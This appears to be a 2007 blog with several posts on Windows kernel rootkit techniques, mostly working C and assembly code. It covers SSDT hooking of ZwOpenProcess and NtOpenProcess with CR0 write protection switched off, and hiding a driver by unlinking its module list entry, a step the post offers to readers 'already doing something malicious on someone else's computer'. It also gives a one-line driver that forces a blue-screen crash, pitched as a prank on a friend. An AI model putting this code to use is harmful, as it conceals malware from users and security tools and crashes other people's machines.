Using different parameters for hooking

August 12, 2007

Sometimes when you want to hook a function, you don’t know what parameter to use. For example XxOpenProcess (I know I always use the same API, but thats because its an easy one and useful)

NtOpenProcess(

OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId );

In my other article we were using “ClientID”, but you may also use other parameters like the first one “ProcessHandle”

The goal of this article is not to deny process termination, but to stop memory editors attaching* to our process.

Before we start, I’m going to show you 2 “custom” made functions.

ULONG gProcessNameOffset;

ULONG GetProcessNameOffset()
{

PEPROCESS curproc;
int i;

curproc = PsGetCurrentProcess();
// This will fail if the EPROCESS grows larger
// than a page size.
for( i = 0; i < 3*PAGE_SIZE; i++ )
{
if( !strncmp( “System”, (PCHAR)curproc + i, strlen(“System”) ))
{
gProcessNameOffset = i;
}
}
return 0;
}

GetProcessNameOffset returns the offset within the EPROCESS structure of the process name

BOOL GetProcessName( PCHAR theName )
{
PEPROCESS curproc;
char *nameptr;

if( gProcessNameOffset )
{
curproc = PsGetCurrentProcess();
nameptr = (PCHAR) curproc + gProcessNameOffset;
strncpy( theName, nameptr, NT_PROCNAMELEN );
theName[NT_PROCNAMELEN] = 0; /* NULL at end */
return TRUE;
}
return FALSE;
}

GetProcessName copy the process name into the specified buffer. This is very useful, you can use it like this:

CHAR ProcessName[PROCNAMELEN];
DbgPrint(“ZwOpenProcess() called from %s\n”, ProcessName);

Okay 1 more thing before we start.

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN 20
// Maximum length of NT process name
#define NT_PROCNAMELEN 16

Okay, let’s start! First lets make our function prototype. The parameters must be the same as the original function.

NTSTATUS NewZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
) {

Then let’s add this (OldZwOpenProcess points to the original function)

NTSTATUS ntStatus;
NTSTATUS ntStatus2;
CHAR CallerProcessName[PROCNAMELEN];

GetProcessName(CallerProcessName);

ntStatus = ((ZWOPENPROCESS)(OldZwOpenProcess)) ( //Original ZwOpenProcess()
ProcessHandle,
DesiredAccess,
ObjectAttributes,
ClientId OPTIONAL);

if( NT_SUCCESS(ntStatus))

{

Now we are going to use ObReferenceObjectByHandle to get the EPROCESS from the handle.

ntStatus = ObReferenceObjectByHandle(
*ProcessHandle,
PROCESS_ALL_ACCESS,
NULL,
KernelMode,
&Process, //Will hold the EPROCESS
NULL);

if(NT_SUCCESS(ntStatus))
{

Now that we got the EPROCESS address (“Process” is holding it), we want to get the name. We do that like this (If you noticed, it almost does the same thing as GetProcessName):

//DbgPrint(“EPROCESS: 0x%08lX\n”, Process);
nameptr = (PCHAR)Process + gProcessNameOffset;
strncpy(Target, nameptr, NT_PROCNAMELEN);
Target[NT_PROCNAMELEN] = 0; /* NULL at end */
//DbgPrint(“Targeted Process %s”,Target);

Now we do some comparing (ProtectedProcess, is a buffer holding the name of the protected process) We check if the targeted process is our process, if it is, we close the handle and make it return STATUS_INVALID_HANDLE

if(!strncmp(Target,ProtectedProcess,NT_PROCNAMELEN)==0)
{
ZwClose(ProcessHandle); //Close Handle
DbgPrint(“OpenProcess called by %s\n”,CallerProcessName);
DbgPrint(“Targeting %s\n”,Target);
DbgPrint(“Returning STATUS_INVALID_HANDLE”);
ntStatus = STATUS_INVALID_HANDLE; //Return invalid handle
ProcessHandle = 0; //Handle = 0;
}

The full prototype code:

NTSTATUS NewZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
)
{

NTSTATUS ntStatus;
NTSTATUS ntStatus2;
CHAR Target[PROCNAMELEN];
CHAR CallerProcessName[PROCNAMELEN];
PEPROCESS EProcess;
char *nameptr;

GetProcessName(CallerProcessName);

ntStatus = ((ZWOPENPROCESS)(OldZwOpenProcess)) ( //Original ZwOpenProcess()
ProcessHandle,
DesiredAccess,
ObjectAttributes,
ClientId OPTIONAL);

if( NT_SUCCESS(ntStatus))

{
ntStatus = ObReferenceObjectByHandle(
*ProcessHandle,
PROCESS_ALL_ACCESS,
NULL,
KernelMode,
&EProcess, //Will hold the EPROCESS
NULL);

if(NT_SUCCESS(ntStatus))
{
//DbgPrint(”EPROCESS: 0x%08lX\n”, EProcess);
nameptr = (PCHAR)EProcess + gProcessNameOffset;
strncpy(Target, nameptr, NT_PROCNAMELEN);
Target[NT_PROCNAMELEN] = 0; /* NULL at end */
//DbgPrint(“Targeted Process %s”,Target);

if(!strncmp(Target,ProtectedProcess,NT_PROCNAMELEN)==0)
{
ZwClose(ProcessHandle); //Close Handle
DbgPrint(“OpenProcess called by %s\n”,CallerProcessName);
DbgPrint(“Targeting %s\n”,Target);
DbgPrint(“Returning STATUS_INVALID_HANDLE”);
ntStatus = STATUS_INVALID_HANDLE; //Return invalid handle
ProcessHandle = 0; //Handle = 0;
}
}
}
return ntStatus; //STATUS_INVALID_HANDLE
}

protected

Well thats it for this post, if you like that kind of stuff, you may want to visit Dual’s blog. He has some interesting advanced articles.

Now you may be asking why we did all of this when we could of used “ClientID” parameter. Thats because not every function has multiple useful parameters.

For example XxReadVirtualMemory As you see, only the first parameter is really useful to us, therefor you are going to use the method described in this article. Thanks for reading and visiting, if you find any errors or bugs, leave a comment =)

*Memory editors such as CheatEngine, can still open your process, since it uses it’s own routine of OpenProcess (Must be enabled in options -> Extra)


Hide me!

August 4, 2007

If you are already doing something malicious on someone else’s computer, you may as well hide your precious driver. It’s not hard at all, if you already hid processes using the DKOM method (Direct Kernel Object Manipulation) this is going to look familiar to you because we are going to change the FLINK and BLINK pointers of its neighbors.

We are going to use this undocumented structure:

typedef struct _MODULE_ENTRY {

LIST_ENTRY module_list_entry;

DWORD unknown1[4];

DWORD base;

DWORD driver_start;

DWORD unknown2;

UNICODE_STRING driver_Path;

UNICODE_STRING driver_Name;

} MODULE_ENTRY, *PMODULE_ENTRY;

The following MODULE_ENTRY object is used by the kernel to keep track of the drivers in memory. Notice that the first member in the structure is a LIST_ENTRY.

We are going to modify them to make our driver disappear from the linked list. The fallowing code does that.

PMODULE_ENTRY pm_current;
pm_current = *((PMODULE_ENTRY*)((DWORD)DriverObject + 0×14));

*((PDWORD)pm_current->module_list_entry.Blink) = (DWORD) pm_current->module_list_entry.Flink;
pm_current->module_list_entry.Flink->Blink = pm_current->module_list_entry.Blink;

We changed the Flink and Blink pointers to the next and previous drivers.

Free Image Hosting at www.ImageShack.us

We hid our driver, but you can use the same method to hide other drivers as well. Fu rootkit is a good example of doing so. You can download it from here

For the the source code of this article, click here.

P.S The image is from the book called Rootkit: Subverting the Windows Kernel.


Causing BSOD’s

July 31, 2007

I’m bored! So I’m posting this… If you want to play a “joke” on your friend and you are tired of those things that open and close the CD drive, and you want something more hardcore? I got the thing for you (lol) Actually all you need to do is call KeBugCheck and thats all.

#include “ntddk.h”
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
KeBugCheck(0);
}

If you tried it, and didn’t get a BSOD, only a crash, you have to change some settings in you computer. Goto Control Panel -> System -> Click the Advanced tab -> Click the last Settings -> Uncheck Automatically restart.

Free Image Hosting at www.ImageShack.us

If you want, you can also take a look at KeBugCheckEx


Hooking Nt* functions

July 29, 2007

Not a long time ago I posted a article about how to hook ZwOpenProcess to protect your own process, but you may want to hook a Nt* function instead. Why? Well as you may know Zw* functions are wrappers for Nt* function , calling the Nt* API through the system service dispatcher. You may want to read this article to better understand the Native API. So like I was saying, there’s no way of calling an API without a Nt* API being executed.

In this example we are going to hook NtOpenProcess. The concept between hooking Zw* and Nt* API’s is pretty much the same, but while hooking Nt* API’s you must do something else. You need to use system call number. There’s also this macro:

#define SYSTEMSERVICE(_function)KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]

What is does is it takes a exported Zw* API and gets the Nt* equivalent. The only thing is that there’s a lot of API’s that are NOT exported. So thats why we are going to use system call numbers.

This is the site that shows you a full system call table. As you may of noticed, they change from OS to OS. Thats why we must determinate what operation system is running on the computer. I’m going to show you 2 way: PsGetVersion and NtBuildNumber.

Using PsGetVersion

ULONG majorVersion;
ULONG minorVersion;

DRIVER_DATA* driverData;

// Get the operating system version
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

// Major = 4: Windows NT 4.0, Windows Me, Windows 98 or Windows 95
// Major = 5: Windows Server 2003, Windows XP or Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 or Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003

if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint(“Running on Windows XP”);
CallNumber = 0×07A;
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint(“Running on Windows 2000″);
CallNumber = 0×06A;
}
else
{
DbgPrint(“Running on unknown system”);
}

Using NtBuildNumber

switch (*NtBuildNumber)
{
case 2195: //Microsoft Windows 2000
DbgPrint(“Microsoft Windows 2000 detected”);
CallNumber = 0×06A;
break;

case 2600: //Microsoft Windows XP
DbgPrint(“Microsoft Windows XP detected”);
CallNumber = 0×07A;
break;

default:
DbgPrint(“Unsupported OS detected”);
//As far as I know, this will never happen
return STATUS_NOT_IMPLEMENTED;
break;
}

Now that we determined what system call number to use, we must use a macro that will let use easily access the call number in the table:

#define SYSTEMSERVICE(_callnumber) KeServiceDescriptorTable->ServiceTable[_callnumber]

We are going to use this macro this way:

OldNtOpenProcess = SYSTEMSERVICE(CallNumber);

SYSTEMSERVICE(CallNumber) = NewNtOpenProcess;

You get the point.

I’m not going to explain how protecting our process work, just go to my previous post about hooking ZwOpenProcess, it’s going to be the same.

Heres a code snippet, the full source code can be downloaded at the end of the article.

switch (*NtBuildNumber)
{
case 2195: //Microsoft Windows 2000
DbgPrint(“Microsoft Windows 2000 detected”);
CallNumber = 0×06A;//NtOpenProcess Call number in Win2000
break;

case 2600: //Microsoft Windows XP
DbgPrint(“Microsoft Windows XP detected”);
CallNumber = 0×07A;//NtOpenProcess Call number in WIN XP
break;

default:
DbgPrint(“Unsupported OS detected”);
//As far as I know, this will never happen
return STATUS_NOT_IMPLEMENTED;
break;
}

OldNtOpenProcess = SYSTEMSERVICE(CallNumber);//Our NtOpenProcess

__asm

{
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax

}

SYSTEMSERVICE(CallNumber) = NewNtOpenProcess; //We change the real NtOpenProcess to the fake, the hook is activated.
__asm

{
push eax
mov eax, CR0
or eax, NOT 0FFFEFFFFh
mov CR0, eax
pop eax
}

Notice that I used the CR0 to disable the memory protection, but you can also use the MDL method. I used that in my other article, just wanted to show another way of doing it.

Important!!! My example is not complete, it’s kinda of a “proof of concept” I hardcoded the PID but it shouldn’t be hard to pass the PID from the userland, even get the PID from the kernel if you want. The source code can be downloaded from the link below. If you find any errors or bug, please let me know.

Later.

Download


Protecting by hooking ZwOpenProcess

July 27, 2007

Today I’m going to explain to you how you could protect your process by hooking ZwOpenProcess. It may be easy, but damn it took me sometime to figure it out! I would assume that you guys know the basics of kernel driver development and know the basics of hooking. If not, go get yourself Rootkits: Subverting the Windows Kernel or Professional Rootkits But of course if you don’t want to spend money on them, search the internet =) Both books helped me a lot, also you may want to take a look to the Rootkit website Rootkit

ZwOpenProcess opens a handle to a desired process. With a handle you can do many things, but in this post we are going to talk about how to deny access when someone is trying to terminate your protected process. You have probably encounter such a hook since almost every anti-virus/firewall uses them to prevent malicious software from terminating them.

Let’s take a look at ZwOpenProcess:

ZwOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);

What we want here is ClientsId since that’s a pointer to the Client ID, we could use it to check if a application is trying to get a handle to our protected process PID. Here’s a code snippet:

NTSTATUS NewZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
HANDLE ProcessId;

__try /*we do this to avoid crashes*/
{

ProcessId = ClientId->UniqueProcess;

}
__except(EXCEPTION_EXECUTE_HANDLER) /*we do this to avoid crashes*/
{
/*DbgPrint(“Exception”)*/
return STATUS_INVALID_PARAMETER;

}

if (ProcessId == (HANDLE)2816) /*Check if the PID matches our protected process PID*/
{

/*DbgPrint(“Access Denied!”);*/
return STATUS_ACCESS_DENIED; /*What we want, access denied.*/
}

else /*Important, if you don’t do this your system will and and crash/BSOD*/
return OldZwOpenProcess(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId);
}

Here’s the result:

Free Image Hosting at www.ImageShack.us

In my example I use “firefox.exe”, as you can see I got Access Denied and also notice that Process Explorer was unable to list the loaded modules in our process.

Now try to kill your protected process, it most probably failed. Why most probably? Because your process is not invisible. There’s some tools that can still terminate your process. Also, a user can simply check if ZwOpenProcess is hooked in the SDT, and recover it, therefor your hook is dead.

Important!!! My example is not complete, it’s kinda of a “proof of concept” I hardcoded the PID but it shouldn’t be hard to pass the PID from the userland, even get the PID from the kernel if you want. The source code can be downloaded from the link below. If you find any errors or bug, please let me know.

Later.

Download

EDIT: Well I have received a e-mail asking how to hook Nt* functions. The concept is still the same, but there’s some changes, I may write another article on that if you guys want.